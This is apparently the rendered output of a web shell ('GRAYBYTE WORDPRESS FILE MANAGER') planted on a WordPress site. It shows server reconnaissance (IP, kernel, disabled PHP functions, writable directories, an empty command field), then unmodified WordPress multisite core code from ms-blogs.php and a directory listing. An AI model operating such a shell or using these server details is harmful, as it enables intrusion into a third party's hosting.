GRAYBYTE WORDPRESS FILE MANAGER7157

Server IP : 149.255.58.128 / Your IP : 216.73.216.199
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/www.wheelchairantalya.co.uk/wp-includes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/www.wheelchairantalya.co.uk/wp-includes//ms-blogs.php
<?php

/**
 * Site/blog functions that work with the blogs table and related data.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since MU (3.0.0)
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

require_once ABSPATH . WPINC . '/ms-site.php';
require_once ABSPATH . WPINC . '/ms-network.php';

/**
 * Updates the last_updated field for the current site.
 *
 * @since MU (3.0.0)
 */
function wpmu_update_blogs_date() {
	$site_id = get_current_blog_id();

	update_blog_details( $site_id, array( 'last_updated' => current_time( 'mysql', true ) ) );
	/**
	 * Fires after the blog details are updated.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $blog_id Site ID.
	 */
	do_action( 'wpmu_blog_updated', $site_id );
}

/**
 * Gets a full site URL, given a site ID.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id Site ID.
 * @return string Full site URL if found. Empty string if not.
 */
function get_blogaddress_by_id( $blog_id ) {
	$bloginfo = get_site( (int) $blog_id );

	if ( empty( $bloginfo ) ) {
		return '';
	}

	$scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME );
	$scheme = empty( $scheme ) ? 'http' : $scheme;

	return esc_url( $scheme . '://' . $bloginfo->domain . $bloginfo->path );
}

/**
 * Gets a full site URL, given a site name.
 *
 * @since MU (3.0.0)
 *
 * @param string $blogname Name of the subdomain or directory.
 * @return string
 */
function get_blogaddress_by_name( $blogname ) {
	if ( is_subdomain_install() ) {
		if ( 'main' === $blogname ) {
			$blogname = 'www';
		}
		$url = rtrim( network_home_url(), '/' );
		if ( ! empty( $blogname ) ) {
			$url = preg_replace( '|^([^\.]+://)|', '${1}' . $blogname . '.', $url );
		}
	} else {
		$url = network_home_url( $blogname );
	}
	return esc_url( $url . '/' );
}

/**
 * Retrieves a site's ID given its (subdomain or directory) slug.
 *
 * @since MU (3.0.0)
 * @since 4.7.0 Converted to use `get_sites()`.
 *
 * @param string $slug A site's slug.
 * @return int|null The site ID, or null if no site is found for the given slug.
 */
function get_id_from_blogname( $slug ) {
	$current_network = get_network();
	$slug            = trim( $slug, '/' );

	if ( is_subdomain_install() ) {
		$domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain );
		$path   = $current_network->path;
	} else {
		$domain = $current_network->domain;
		$path   = $current_network->path . $slug . '/';
	}

	$site_ids = get_sites(
		array(
			'number'                 => 1,
			'fields'                 => 'ids',
			'domain'                 => $domain,
			'path'                   => $path,
			'update_site_meta_cache' => false,
		)
	);

	if ( empty( $site_ids ) ) {
		return null;
	}

	return array_shift( $site_ids );
}

/**
 * Retrieves the details for a blog from the blogs table and blog options.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|string|array $fields  Optional. A blog ID, a blog slug, or an array of fields to query against.
 *                                  Defaults to the current blog ID.
 * @param bool             $get_all Whether to retrieve all details or only the details in the blogs table.
 *                                  Default is true.
 * @return WP_Site|false Blog details on success. False on failure.
 */
function get_blog_details( $fields = null, $get_all = true ) {
	global $wpdb;

	if ( is_array( $fields ) ) {
		if ( isset( $fields['blog_id'] ) ) {
			$blog_id = $fields['blog_id'];
		} elseif ( isset( $fields['domain'] ) && isset( $fields['path'] ) ) {
			$key  = md5( $fields['domain'] . $fields['path'] );
			$blog = wp_cache_get( $key, 'blog-lookup' );
			if ( false !== $blog ) {
				return $blog;
			}
			if ( str_starts_with( $fields['domain'], 'www.' ) ) {
				$nowww = substr( $fields['domain'], 4 );
				$blog  = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) );
			} else {
				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) );
			}
			if ( $blog ) {
				wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
				$blog_id = $blog->blog_id;
			} else {
				return false;
			}
		} elseif ( isset( $fields['domain'] ) && is_subdomain_install() ) {
			$key  = md5( $fields['domain'] );
			$blog = wp_cache_get( $key, 'blog-lookup' );
			if ( false !== $blog ) {
				return $blog;
			}
			if ( str_starts_with( $fields['domain'], 'www.' ) ) {
				$nowww = substr( $fields['domain'], 4 );
				$blog  = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) );
			} else {
				$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) );
			}
			if ( $blog ) {
				wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
				$blog_id = $blog->blog_id;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} else {
		if ( ! $fields ) {
			$blog_id = get_current_blog_id();
		} elseif ( ! is_numeric( $fields ) ) {
			$blog_id = get_id_from_blogname( $fields );
		} else {
			$blog_id = $fields;
		}
	}

	$blog_id = (int) $blog_id;

	$all     = $get_all ? '' : 'short';
	$details = wp_cache_get( $blog_id . $all, 'blog-details' );

	if ( $details ) {
		if ( ! is_object( $details ) ) {
			if ( -1 === $details ) {
				return false;
			} else {
				// Clear old pre-serialized objects. Cache clients do better with that.
				wp_cache_delete( $blog_id . $all, 'blog-details' );
				unset( $details );
			}
		} else {
			return $details;
		}
	}

	// Try the other cache.
	if ( $get_all ) {
		$details = wp_cache_get( $blog_id . 'short', 'blog-details' );
	} else {
		$details = wp_cache_get( $blog_id, 'blog-details' );
		// If short was requested and full cache is set, we can return.
		if ( $details ) {
			if ( ! is_object( $details ) ) {
				if ( -1 === $details ) {
					return false;
				} else {
					// Clear old pre-serialized objects. Cache clients do better with that.
					wp_cache_delete( $blog_id, 'blog-details' );
					unset( $details );
				}
			} else {
				return $details;
			}
		}
	}

	if ( empty( $details ) ) {
		$details = WP_Site::get_instance( $blog_id );
		if ( ! $details ) {
			// Set the full cache.
			wp_cache_set( $blog_id, -1, 'blog-details' );
			return false;
		}
	}

	if ( ! $details instanceof WP_Site ) {
		$details = new WP_Site( $details );
	}

	if ( ! $get_all ) {
		wp_cache_set( $blog_id . $all, $details, 'blog-details' );
		return $details;
	}

	$switched_blog = false;

	if ( get_current_blog_id() !== $blog_id ) {
		switch_to_blog( $blog_id );
		$switched_blog = true;
	}

	$details->blogname   = get_option( 'blogname' );
	$details->siteurl    = get_option( 'siteurl' );
	$details->post_count = get_option( 'post_count' );
	$details->home       = get_option( 'home' );

	if ( $switched_blog ) {
		restore_current_blog();
	}

	/**
	 * Filters a blog's details.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 4.7.0 Use {@see 'site_details'} instead.
	 *
	 * @param WP_Site $details The blog details.
	 */
	$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );

	wp_cache_set( $blog_id . $all, $details, 'blog-details' );

	$key = md5( $details->domain . $details->path );
	wp_cache_set( $key, $details, 'blog-lookup' );

	return $details;
}

/**
 * Clears the blog details cache.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id Optional. Blog ID. Defaults to current blog.
 */
function refresh_blog_details( $blog_id = 0 ) {
	$blog_id = (int) $blog_id;
	if ( ! $blog_id ) {
		$blog_id = get_current_blog_id();
	}

	clean_blog_cache( $blog_id );
}

/**
 * Updates the details for a blog and the blogs table for a given blog ID.
 *
 * @since MU (3.0.0)
 *
 * @param int   $blog_id Blog ID.
 * @param array $details Array of details keyed by blogs table field names.
 * @return bool True if update succeeds, false otherwise.
 */
function update_blog_details( $blog_id, $details = array() ) {
	if ( empty( $details ) ) {
		return false;
	}

	if ( is_object( $details ) ) {
		$details = get_object_vars( $details );
	}

	$site = wp_update_site( $blog_id, $details );

	if ( is_wp_error( $site ) ) {
		return false;
	}

	return true;
}

/**
 * Cleans the site details cache for a site.
 *
 * @since 4.7.4
 *
 * @param int $site_id Optional. Site ID. Default is the current site ID.
 */
function clean_site_details_cache( $site_id = 0 ) {
	$site_id = (int) $site_id;
	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	wp_cache_delete( $site_id, 'site-details' );
	wp_cache_delete( $site_id, 'blog-details' );
}

/**
 * Retrieves option value for a given blog id based on name of option.
 *
 * If the option does not exist or does not have a value, then the return value
 * will be false. This is useful to check whether you need to install an option
 * and is commonly used during installation of plugin options and to test
 * whether upgrading is required.
 *
 * If the option was serialized then it will be unserialized when it is returned.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id            A blog ID. Can be null to refer to the current blog.
 * @param string $option        Name of option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Default value to return if the option does not exist.
 * @return mixed Value set for the option.
 */
function get_blog_option( $id, $option, $default_value = false ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() === $id ) {
		return get_option( $option, $default_value );
	}

	switch_to_blog( $id );
	$value = get_option( $option, $default_value );
	restore_current_blog();

	/**
	 * Filters a blog option value.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the blog option name.
	 *
	 * @since 3.5.0
	 *
	 * @param string  $value The option value.
	 * @param int     $id    Blog ID.
	 */
	return apply_filters( "blog_option_{$option}", $value, $id );
}

/**
 * Adds a new option for a given blog ID.
 *
 * You do not need to serialize values. If the value needs to be serialized, then
 * it will be serialized before it is inserted into the database. Remember,
 * resources can not be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id     A blog ID. Can be null to refer to the current blog.
 * @param string $option Name of option to add. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_blog_option( $id, $option, $value ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() === $id ) {
		return add_option( $option, $value );
	}

	switch_to_blog( $id );
	$return = add_option( $option, $value );
	restore_current_blog();

	return $return;
}

/**
 * Removes an option by name for a given blog ID. Prevents removal of protected WordPress options.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id     A blog ID. Can be null to refer to the current blog.
 * @param string $option Name of option to remove. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_blog_option( $id, $option ) {
	$id = (int) $id;

	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}

	if ( get_current_blog_id() === $id ) {
		return delete_option( $option );
	}

	switch_to_blog( $id );
	$return = delete_option( $option );
	restore_current_blog();

	return $return;
}

/**
 * Updates an option for a particular blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id         The blog ID.
 * @param string $option     The option key.
 * @param mixed  $value      The option value.
 * @param mixed  $deprecated Not used.
 * @return bool True if the value was updated, false otherwise.
 */
function update_blog_option( $id, $option, $value, $deprecated = null ) {
	$id = (int) $id;

	if ( null !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '3.1.0' );
	}

	if ( get_current_blog_id() === $id ) {
		return update_option( $option, $value );
	}

	switch_to_blog( $id );
	$return = update_option( $option, $value );
	restore_current_blog();

	return $return;
}

/**
 * Switches the current blog.
 *
 * This function is useful if you need to pull posts, or other information,
 * from other blogs. You can switch back afterwards using restore_current_blog().
 *
 * PHP code loaded with the originally requested site, such as code from a plugin or theme, does not switch. See #14941.
 *
 * @see restore_current_blog()
 * @since MU (3.0.0)
 *
 * @global wpdb            $wpdb               WordPress database abstraction object.
 * @global int             $blog_id
 * @global array           $_wp_switched_stack
 * @global bool            $switched
 * @global string          $table_prefix       The database table prefix.
 * @global WP_Object_Cache $wp_object_cache
 *
 * @param int  $new_blog_id The ID of the blog to switch to. Default: current blog.
 * @param bool $deprecated  Not used.
 * @return true Always returns true.
 */
function switch_to_blog( $new_blog_id, $deprecated = null ) {
	global $wpdb;

	$prev_blog_id = get_current_blog_id();
	if ( empty( $new_blog_id ) ) {
		$new_blog_id = $prev_blog_id;
	}

	$GLOBALS['_wp_switched_stack'][] = $prev_blog_id;

	/*
	 * If we're switching to the same blog id that we're on,
	 * set the right vars, do the associated actions, but skip
	 * the extra unnecessary work
	 */
	if ( $new_blog_id === $prev_blog_id ) {
		/**
		 * Fires when the blog is switched.
		 *
		 * @since MU (3.0.0)
		 * @since 5.4.0 The `$context` parameter was added.
		 *
		 * @param int    $new_blog_id  New blog ID.
		 * @param int    $prev_blog_id Previous blog ID.
		 * @param string $context      Additional context. Accepts 'switch' when called from switch_to_blog()
		 *                             or 'restore' when called from restore_current_blog().
		 */
		do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );

		$GLOBALS['switched'] = true;

		return true;
	}

	$wpdb->set_blog_id( $new_blog_id );
	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
	$GLOBALS['blog_id']      = $new_blog_id;

	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
		wp_cache_switch_to_blog( $new_blog_id );
	} else {
		global $wp_object_cache;

		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
			$global_groups = $wp_object_cache->global_groups;
		} else {
			$global_groups = false;
		}

		wp_cache_init();

		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
			if ( is_array( $global_groups ) ) {
				wp_cache_add_global_groups( $global_groups );
			} else {
				wp_cache_add_global_groups(
					array(
						'blog-details',
						'blog-id-cache',
						'blog-lookup',
						'blog_meta',
						'global-posts',
						'image_editor',
						'networks',
						'network-queries',
						'sites',
						'site-details',
						'site-options',
						'site-queries',
						'site-transient',
						'theme_files',
						'rss',
						'users',
						'user-queries',
						'user_meta',
						'useremail',
						'userlogins',
						'userslugs',
					)
				);
			}

			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) );
		}
	}

	/** This filter is documented in wp-includes/ms-blogs.php */
	do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );

	$GLOBALS['switched'] = true;

	return true;
}

/**
 * Restores the current blog, after calling switch_to_blog().
 *
 * @see switch_to_blog()
 * @since MU (3.0.0)
 *
 * @global wpdb            $wpdb               WordPress database abstraction object.
 * @global array           $_wp_switched_stack
 * @global int             $blog_id
 * @global bool            $switched
 * @global string          $table_prefix       The database table prefix.
 * @global WP_Object_Cache $wp_object_cache
 *
 * @return bool True on success, false if we're already on the current blog.
 */
function restore_current_blog() {
	global $wpdb;

	if ( empty( $GLOBALS['_wp_switched_stack'] ) ) {
		return false;
	}

	$new_blog_id  = array_pop( $GLOBALS['_wp_switched_stack'] );
	$prev_blog_id = get_current_blog_id();

	if ( $new_blog_id === $prev_blog_id ) {
		/** This filter is documented in wp-includes/ms-blogs.php */
		do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );

		// If we still have items in the switched stack, consider ourselves still 'switched'.
		$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );

		return true;
	}

	$wpdb->set_blog_id( $new_blog_id );
	$GLOBALS['blog_id']      = $new_blog_id;
	$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();

	if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
		wp_cache_switch_to_blog( $new_blog_id );
	} else {
		global $wp_object_cache;

		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
			$global_groups = $wp_object_cache->global_groups;
		} else {
			$global_groups = false;
		}

		wp_cache_init();

		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
			if ( is_array( $global_groups ) ) {
				wp_cache_add_global_groups( $global_groups );
			} else {
				wp_cache_add_global_groups(
					array(
						'blog-details',
						'blog-id-cache',
						'blog-lookup',
						'blog_meta',
						'global-posts',
						'image_editor',
						'networks',
						'network-queries',
						'sites',
						'site-details',
						'site-options',
						'site-queries',
						'site-transient',
						'theme_files',
						'rss',
						'users',
						'user-queries',
						'user_meta',
						'useremail',
						'userlogins',
						'userslugs',
					)
				);
			}

			wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) );
		}
	}

	/** This filter is documented in wp-includes/ms-blogs.php */
	do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );

	// If we still have items in the switched stack, consider ourselves still 'switched'.
	$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );

	return true;
}

/**
 * Switches the initialized roles and current user capabilities to another site.
 *
 * @since 4.9.0
 *
 * @param int $new_site_id New site ID.
 * @param int $old_site_id Old site ID.
 */
function wp_switch_roles_and_user( $new_site_id, $old_site_id ) {
	if ( $new_site_id === $old_site_id ) {
		return;
	}

	if ( ! did_action( 'init' ) ) {
		return;
	}

	wp_roles()->for_site( $new_site_id );
	wp_get_current_user()->for_site( $new_site_id );
}

/**
 * Determines if switch_to_blog() is in effect.
 *
 * @since 3.5.0
 *
 * @global array $_wp_switched_stack
 *
 * @return bool True if switched, false otherwise.
 */
function ms_is_switched() {
	return ! empty( $GLOBALS['_wp_switched_stack'] );
}

/**
 * Checks if a particular blog is archived.
 *
 * @since MU (3.0.0)
 *
 * @param int $id Blog ID.
 * @return string Whether the blog is archived or not.
 */
function is_archived( $id ) {
	return get_blog_status( $id, 'archived' );
}

/**
 * Updates the 'archived' status of a particular blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $id       Blog ID.
 * @param string $archived The new status.
 * @return string $archived
 */
function update_archived( $id, $archived ) {
	update_blog_status( $id, 'archived', $archived );
	return $archived;
}

/**
 * Updates a blog details field.
 *
 * @since MU (3.0.0)
 * @since 5.1.0 Use wp_update_site() internally.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $blog_id    Blog ID.
 * @param string $pref       Field name.
 * @param string $value      Field value.
 * @param null   $deprecated Not used.
 * @return string|false $value
 */
function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) {
	global $wpdb;

	if ( null !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '3.1.0' );
	}

	$allowed_field_names = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );

	if ( ! in_array( $pref, $allowed_field_names, true ) ) {
		return $value;
	}

	$result = wp_update_site(
		$blog_id,
		array(
			$pref => $value,
		)
	);

	if ( is_wp_error( $result ) ) {
		return false;
	}

	return $value;
}

/**
 * Gets a blog details field.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $id   Blog ID.
 * @param string $pref Field name.
 * @return bool|string|null $value
 */
function get_blog_status( $id, $pref ) {
	global $wpdb;

	$details = get_site( $id );
	if ( $details ) {
		return $details->$pref;
	}

	return $wpdb->get_var( $wpdb->prepare( "SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id ) );
}

/**
 * Gets a list of most recently updated blogs.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param mixed $deprecated Not used.
 * @param int   $start      Optional. Number of blogs to offset the query. Used to build LIMIT clause.
 *                          Can be used for pagination. Default 0.
 * @param int   $quantity   Optional. The maximum number of blogs to retrieve. Default 40.
 * @return array The list of blogs.
 */
function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, 'MU' ); // Never used.
	}

	return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A );
}

/**
 * Handler for updating the site's last updated date when a post is published or
 * an already published post is changed.
 *
 * @since 3.3.0
 *
 * @param string  $new_status The new post status.
 * @param string  $old_status The old post status.
 * @param WP_Post $post       Post object.
 */
function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {
	$post_type_obj = get_post_type_object( $post->post_type );
	if ( ! $post_type_obj || ! $post_type_obj->public ) {
		return;
	}

	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
		return;
	}

	// Post was freshly published, published post was saved, or published post was unpublished.

	wpmu_update_blogs_date();
}

/**
 * Handler for updating the current site's last updated date when a published
 * post is deleted.
 *
 * @since 3.4.0
 *
 * @param int $post_id Post ID
 */
function _update_blog_date_on_post_delete( $post_id ) {
	$post = get_post( $post_id );

	$post_type_obj = get_post_type_object( $post->post_type );
	if ( ! $post_type_obj || ! $post_type_obj->public ) {
		return;
	}

	if ( 'publish' !== $post->post_status ) {
		return;
	}

	wpmu_update_blogs_date();
}

/**
 * Handler for updating the current site's posts count when a post is deleted.
 *
 * @since 4.0.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @param int     $post_id Post ID.
 * @param WP_Post $post    Post object.
 */
function _update_posts_count_on_delete( $post_id, $post ) {
	if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
		return;
	}

	update_posts_count();
}

/**
 * Handler for updating the current site's posts count when a post status changes.
 *
 * @since 4.0.0
 * @since 4.9.0 Added the `$post` parameter.
 *
 * @param string  $new_status The status the post is changing to.
 * @param string  $old_status The status the post is changing from.
 * @param WP_Post $post       Post object
 */
function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) {
	if ( $new_status === $old_status ) {
		return;
	}

	if ( 'post' !== get_post_type( $post ) ) {
		return;
	}

	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
		return;
	}

	update_posts_count();
}

/**
 * Counts number of sites grouped by site status.
 *
 * @since 5.3.0
 *
 * @param int $network_id Optional. The network to get counts for. Default is the current network ID.
 * @return int[] {
 *     Numbers of sites grouped by site status.
 *
 *     @type int $all      The total number of sites.
 *     @type int $public   The number of public sites.
 *     @type int $archived The number of archived sites.
 *     @type int $mature   The number of mature sites.
 *     @type int $spam     The number of spam sites.
 *     @type int $deleted  The number of deleted sites.
 * }
 */
function wp_count_sites( $network_id = null ) {
	if ( empty( $network_id ) ) {
		$network_id = get_current_network_id();
	}

	$counts = array();
	$args   = array(
		'network_id'    => $network_id,
		'number'        => 1,
		'fields'        => 'ids',
		'no_found_rows' => false,
	);

	$q             = new WP_Site_Query( $args );
	$counts['all'] = $q->found_sites;

	$_args    = $args;
	$statuses = array( 'public', 'archived', 'mature', 'spam', 'deleted' );

	foreach ( $statuses as $status ) {
		$_args            = $args;
		$_args[ $status ] = 1;

		$q                 = new WP_Site_Query( $_args );
		$counts[ $status ] = $q->found_sites;
	}

	return $counts;
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 22 2025 15:46:24
1032 / wheelch2
0755
ID3
--
May 21 2025 00:30:57
1032 / wheelch2
0755
IXR
--
May 21 2025 00:30:57
1032 / wheelch2
0755
PHPMailer
--
May 21 2025 00:30:57
1032 / wheelch2
0755
Requests
--
May 21 2025 00:30:57
1032 / wheelch2
0755
SimplePie
--
May 21 2025 00:30:57
1032 / wheelch2
0755
Text
--
May 21 2025 00:30:57
1032 / wheelch2
0755
assets
--
May 21 2025 00:30:57
1032 / wheelch2
0755
block-bindings
--
May 21 2025 00:30:57
1032 / wheelch2
0755
block-patterns
--
May 21 2025 00:30:57
1032 / wheelch2
0755
block-supports
--
May 21 2025 00:30:57
1032 / wheelch2
0755
blocks
--
May 21 2025 00:30:57
1032 / wheelch2
0755
certificates
--
May 21 2025 00:30:57
1032 / wheelch2
0755
css
--
May 21 2025 00:30:57
1032 / wheelch2
0755
customize
--
May 21 2025 00:30:57
1032 / wheelch2
0755
fonts
--
May 21 2025 00:30:57
1032 / wheelch2
0755
html-api
--
May 21 2025 00:30:57
1032 / wheelch2
0755
images
--
May 21 2025 00:30:57
1032 / wheelch2
0755
interactivity-api
--
May 21 2025 00:30:57
1032 / wheelch2
0755
js
--
May 21 2025 00:30:57
1032 / wheelch2
0755
l10n
--
May 21 2025 00:30:57
1032 / wheelch2
0755
php-compat
--
May 21 2025 00:30:57
1032 / wheelch2
0755
pomo
--
May 21 2025 00:30:57
1032 / wheelch2
0755
rest-api
--
May 21 2025 00:30:57
1032 / wheelch2
0755
sitemaps
--
May 21 2025 00:30:57
1032 / wheelch2
0755
sodium_compat
--
May 21 2025 00:30:57
1032 / wheelch2
0755
style-engine
--
May 21 2025 00:30:57
1032 / wheelch2
0755
theme-compat
--
May 21 2025 00:30:57
1032 / wheelch2
0755
widgets
--
May 21 2025 00:30:57
1032 / wheelch2
0755
wp-backup
--
May 21 2025 00:30:57
1032 / wheelch2
0755
.htaccess
0.124 KB
May 21 2025 00:30:57
1032 / wheelch2
0444
admin-bar.php
36.236 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
admin.php
0 KB
March 02 2024 06:00:08
1032 / wheelch2
0644
atomlib.php
11.795 KB
September 18 2024 20:20:16
1032 / wheelch2
0644
author-template.php
18.507 KB
May 14 2023 16:58:24
1032 / wheelch2
0644
block-bindings.php
5.463 KB
June 12 2024 11:44:14
1032 / wheelch2
0644
block-editor.php
28.122 KB
March 17 2025 13:03:30
1032 / wheelch2
0644
block-i18n.json
0.309 KB
August 11 2021 08:08:02
1032 / wheelch2
0644
block-patterns.php
12.903 KB
November 29 2024 22:46:22
1032 / wheelch2
0644
block-template-utils.php
60.456 KB
March 07 2025 17:55:24
1032 / wheelch2
0644
block-template.php
14.996 KB
March 18 2025 22:08:26
1032 / wheelch2
0644
blocks.php
109.113 KB
April 30 2025 18:30:12
1032 / wheelch2
0644
bookmark-template.php
12.469 KB
March 19 2025 23:15:36
1032 / wheelch2
0644
bookmark.php
15.065 KB
March 23 2024 14:20:12
1032 / wheelch2
0644
cache-compat.php
5.829 KB
October 10 2022 17:22:12
1032 / wheelch2
0644
cache.php
13.158 KB
October 10 2022 17:22:12
1032 / wheelch2
0644
canonical.php
33.714 KB
August 22 2024 22:47:16
1032 / wheelch2
0644
capabilities.php
41.717 KB
October 15 2024 13:13:20
1032 / wheelch2
0644
category-template.php
55.667 KB
September 25 2023 23:27:12
1032 / wheelch2
0644
category.php
12.528 KB
May 21 2025 00:30:03
1032 / wheelch2
0644
class-IXR.php
2.555 KB
January 22 2025 19:48:26
1032 / wheelch2
0644
class-avif-info.php
28.921 KB
April 26 2024 14:02:14
1032 / wheelch2
0644
class-feed.php
0.526 KB
September 30 2024 21:50:20
1032 / wheelch2
0644
class-http.php
0.358 KB
June 17 2022 10:20:14
1032 / wheelch2
0644
class-json.php
42.66 KB
February 03 2023 13:35:20
1032 / wheelch2
0644
class-oembed.php
0.392 KB
June 17 2022 10:20:14
1032 / wheelch2
0644
class-phpass.php
6.612 KB
September 17 2024 20:08:16
1032 / wheelch2
0644
class-phpmailer.php
0.648 KB
July 21 2020 11:58:02
1032 / wheelch2
0644
class-pop3.php
20.626 KB
October 25 2024 19:26:20
1032 / wheelch2
0644
class-requests.php
2.185 KB
April 05 2023 12:12:26
1032 / wheelch2
0644
class-simplepie.php
0.442 KB
September 30 2024 21:50:20
1032 / wheelch2
0644
class-smtp.php
0.446 KB
January 26 2021 13:45:58
1032 / wheelch2
0644
class-snoopy.php
36.831 KB
February 03 2023 13:35:20
1032 / wheelch2
0644
class-walker-category-dropdown.php
2.411 KB
September 14 2023 11:46:20
1032 / wheelch2
0644
class-walker-category.php
8.278 KB
September 08 2023 08:32:24
1032 / wheelch2
0644
class-walker-comment.php
13.888 KB
March 18 2024 15:46:14
1032 / wheelch2
0644
class-walker-nav-menu.php
11.762 KB
January 21 2025 21:26:24
1032 / wheelch2
0644
class-walker-page-dropdown.php
2.646 KB
September 14 2023 11:46:20
1032 / wheelch2
0644
class-walker-page.php
7.434 KB
September 14 2023 11:46:20
1032 / wheelch2
0644
class-wp-admin-bar.php
17.455 KB
July 17 2024 23:52:18
1032 / wheelch2
0644
class-wp-ajax-response.php
5.143 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-application-passwords.php
16.698 KB
April 03 2025 13:38:28
1032 / wheelch2
0644
class-wp-block-bindings-registry.php
8.265 KB
September 23 2024 11:35:16
1032 / wheelch2
0644
class-wp-block-bindings-source.php
2.922 KB
September 03 2024 15:33:16
1032 / wheelch2
0644
class-wp-block-editor-context.php
1.318 KB
September 12 2022 14:47:14
1032 / wheelch2
0644
class-wp-block-list.php
4.646 KB
November 02 2023 00:04:24
1032 / wheelch2
0644
class-wp-block-metadata-registry.php
11.616 KB
March 05 2025 22:17:24
1032 / wheelch2
0644
class-wp-block-parser-block.php
2.495 KB
June 26 2023 23:45:38
1032 / wheelch2
0644
class-wp-block-parser-frame.php
1.97 KB
September 20 2024 00:55:36
